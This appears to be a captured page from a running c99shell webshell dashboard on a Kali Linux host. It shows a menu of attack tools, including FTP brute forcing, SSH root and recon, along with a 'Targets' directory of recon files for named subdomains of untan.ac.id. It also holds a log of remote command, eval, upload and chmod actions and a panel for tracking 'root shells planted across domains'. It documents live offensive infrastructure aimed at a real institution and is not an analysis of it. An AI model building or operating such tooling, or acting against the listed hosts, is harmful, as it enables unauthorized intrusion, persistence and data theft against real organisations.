C99SHELL DASHBOARDc99shell.tail7973d7.ts.net WebshellDBRoot 2026-08-03 08:12:07

!C99SHELL 2.0 [PHP 7 Update] [25.02.2019] !

Software: Apache/2.4.68 (Debian). PHP/8.2.33  

uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1
(2026-06-18) x86_64  

uid=33(www-data) gid=33(www-data) groups=33(www-data)  

Safe-mode: OFF (not secure)

/var/www/html/   drwxrwxrwx
Free 115.58 GB of 452.4 GB (25.55%)

FilesCustom ToolsTargetsSysMonWatchReconCommanderOrigin IPSSH RootTermCoverPushEncoderToolsProc.FTP bruteSec.SQLPHP-codeSystemUpdateFeedbackSelf removeCVE DBLogout


INTEGRITY WATCH webshell safety · intrusion captureWatched: 4729Intact: 323Tampered: 1455New: 2951Missing: 0
Files watched4729
Intact323
Tampered1455
New files2951
Missing0
↻ Re-scan

File integrity — webshell safety

FileSizeModifiedSHA256Status
/var/www/html/c99shell.php329.88 KB03/08/2026 07:30ceed408fc5f4TAMPERED
/var/www/html/mysqli_compat.php16.49 KB03/08/2026 06:35eb1cbabaacd8TAMPERED
/var/www/html/dashboard_index.php15.61 KB03/08/2026 07:47e77c53b85a79TAMPERED
/var/www/html/srv_dump.php305 B03/08/2026 04:538431ba3d0257NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/recon.json228 B03/08/2026 07:592e6911246984NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/info.txt15 B03/08/2026 07:59fb97dce3f0baTAMPERED
/var/www/html/targets/cpanel.ppm.untan.ac.id/recon.json220 B03/08/2026 07:58db8cb3d185ebNEW
/var/www/html/targets/cpanel.ppm.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/cpanel.ppm.untan.ac.id/info.txt15 B03/08/2026 07:58fb97dce3f0baTAMPERED
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/recon.json225 B03/08/2026 07:58bec4b8f9a854NEW
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/info.txt15 B03/08/2026 07:58fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.skpp.untan.ac.id/recon.json222 B03/08/2026 08:00d6638c5ef73cNEW
/var/www/html/targets/webmail.skpp.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webmail.skpp.untan.ac.id/info.txt15 B03/08/2026 08:00fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.management.untan.ac.id/recon.json228 B03/08/2026 08:001fad4519f872NEW
/var/www/html/targets/webmail.management.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webmail.management.untan.ac.id/info.txt15 B03/08/2026 08:00fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.icb.untan.ac.id/recon.json221 B03/08/2026 08:00a521f42565feNEW
showing first 20 of 4406 changes

Intrusion log — every device that hit this agent

Total hits9771
Unique IPs3
Suspicious53
 
 
top IPs:172.17.0.1 x9594 10.217.96.182 x162 127.0.0.1 x15
TimeIPMethodPath / actionAgentFlag
03/08/2026 08:12:07172.17.0.1GET/c99shell.php?act=cmd&d=%2Fvar%2Fwww%2F [cmd]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:07172.17.0.1GET/c99shell.php?act=fsbuff&d=%2Fvar%2Fwww%2Fhtml%2F.git%2F [fsbuff]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:07172.17.0.1GET/c99shell.php?act=ls&d=%2Fvar%2Fwww%2Fhtml%2Fdocker-server%2Fuploads [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:07172.17.0.1GET/c99shell.php?act=encoder&d=%2Fvar%2Fwww%2Fhtml%2Frecon%2F [encoder]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:07172.17.0.1GET/c99shell.php?act=d&d=%2Fvar%2Fwww%2Fhtml%2F.git%2Frefs [d]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:07172.17.0.1GET/c99shell.php?act=feedback&d=%2Fvar%2Fwww%2Fhtml%2F.git%2F [feedback]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:07172.17.0.1GET/c99shell.php?act=watch&planted_recheck=1 [watch]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:07172.17.0.1GET/c99shell.php?act=d&d=%2Fvar%2Fwww%2Fhtml%2F.git%2Fhooks [d]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:07172.17.0.1GET/c99shell.php?act=f&d=%2Fvar%2Fwww%2Fhtml%2Fdocker-server&f=upload.php [f]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:07172.17.0.1GET/c99shell.php?act=cmd&d=%2Fvar%2Fwww%2Fhtml%2F__pycache__%2F [cmd]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:07172.17.0.1GET/c99shell.php?act=processes&d=%2Fmnt%2F&processes_sort=2d [processes]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:06172.17.0.1GET/c99shell.php?act=processes&d=%2Fvar%2F&processes_sort=3d [processes]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:05172.17.0.1GET/c99shell.php?act=upload&d=%2Fvar%2Fwww%2Fhtml%2F.git [upload]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:05172.17.0.1GET/c99shell.php?act=encoder&d=%2Fvar%2Fwww%2F [encoder]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 08:12:05172.17.0.1GET/c99shell.php?act=processes&d=%2Fvar%2F&processes_sort=20a [processes]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
Page 1 / 652 — 9771 entries[Next >]
live tail — last 25 hits 
[03/08 08:12:07] 172.17.0.1 GET /c99shell.php?act=cmd&d=%2Fvar%2Fwww%2F (cmd)
[03/08 08:12:07] 172.17.0.1 GET /c99shell.php?act=fsbuff&d=%2Fvar%2Fwww%2Fhtml%2F.git%2F (fsbuff)
[03/08 08:12:07] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fvar%2Fwww%2Fhtml%2Fdocker-server%2Fuploads (ls)
[03/08 08:12:07] 172.17.0.1 GET /c99shell.php?act=encoder&d=%2Fvar%2Fwww%2Fhtml%2Frecon%2F (encoder)
[03/08 08:12:07] 172.17.0.1 GET /c99shell.php?act=d&d=%2Fvar%2Fwww%2Fhtml%2F.git%2Frefs (d)
[03/08 08:12:07] 172.17.0.1 GET /c99shell.php?act=feedback&d=%2Fvar%2Fwww%2Fhtml%2F.git%2F (feedback)
[03/08 08:12:07] 172.17.0.1 GET /c99shell.php?act=watch&planted_recheck=1 (watch)
[03/08 08:12:07] 172.17.0.1 GET /c99shell.php?act=d&d=%2Fvar%2Fwww%2Fhtml%2F.git%2Fhooks (d)
[03/08 08:12:07] 172.17.0.1 GET /c99shell.php?act=f&d=%2Fvar%2Fwww%2Fhtml%2Fdocker-server&f=upload.php (f)
[03/08 08:12:07] 172.17.0.1 GET /c99shell.php?act=cmd&d=%2Fvar%2Fwww%2Fhtml%2F__pycache__%2F (cmd)
[03/08 08:12:07] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fmnt%2F&processes_sort=2d (processes)
[03/08 08:12:06] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2F&processes_sort=3d (processes)
[03/08 08:12:05] 172.17.0.1 GET /c99shell.php?act=upload&d=%2Fvar%2Fwww%2Fhtml%2F.git (upload)
[03/08 08:12:05] 172.17.0.1 GET /c99shell.php?act=encoder&d=%2Fvar%2Fwww%2F (encoder)
[03/08 08:12:05] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2F&processes_sort=20a (processes)
[03/08 08:12:05] 172.17.0.1 GET /c99shell.php?act=search&d=%2Fvar%2F (search)
[03/08 08:12:05] 172.17.0.1 GET /c99shell.php?act=eval&d=%2Fvar%2Fwww%2Fhtml%2F.git%2F (eval)
[03/08 08:12:04] 172.17.0.1 GET /c99shell.php?act=security&d=%2Fvar%2Fwww%2Fhtml%2F.git%2F (security)
[03/08 08:12:04] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F.git%2F (processes)
[03/08 08:12:04] 172.17.0.1 GET /c99shell.php?act=upload&d=%2Fvar%2Fwww%2Fhtml%2Fdocker-server (upload)
[03/08 08:12:04] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2F&processes_sort=11a (processes)
[03/08 08:12:04] 172.17.0.1 GET /c99shell.php?act=sql&d=%2Fvar%2Fwww%2Fhtml%2Fcovers%2F (sql)
[03/08 08:12:03] 172.17.0.1 GET /c99shell.php?act=encoder&d=%2Fvar%2Fwww%2Fhtml%2F__pycache__%2F (encoder)
[03/08 08:12:03] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fvar%2Fwww%2Fhtml%2Fcovers&f=.. (chmod)
[03/08 08:12:03] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fvar&f=opt (chmod)
🔴 LIVE

Root shells planted across domains

Domains with shells.txt0
Registered heartbeats1
Alive1
↻ Heartbeat check all
DomainShells.txtShell URLLast checkCodeAlive

Register / update shell URL

Domain:  Shell URL: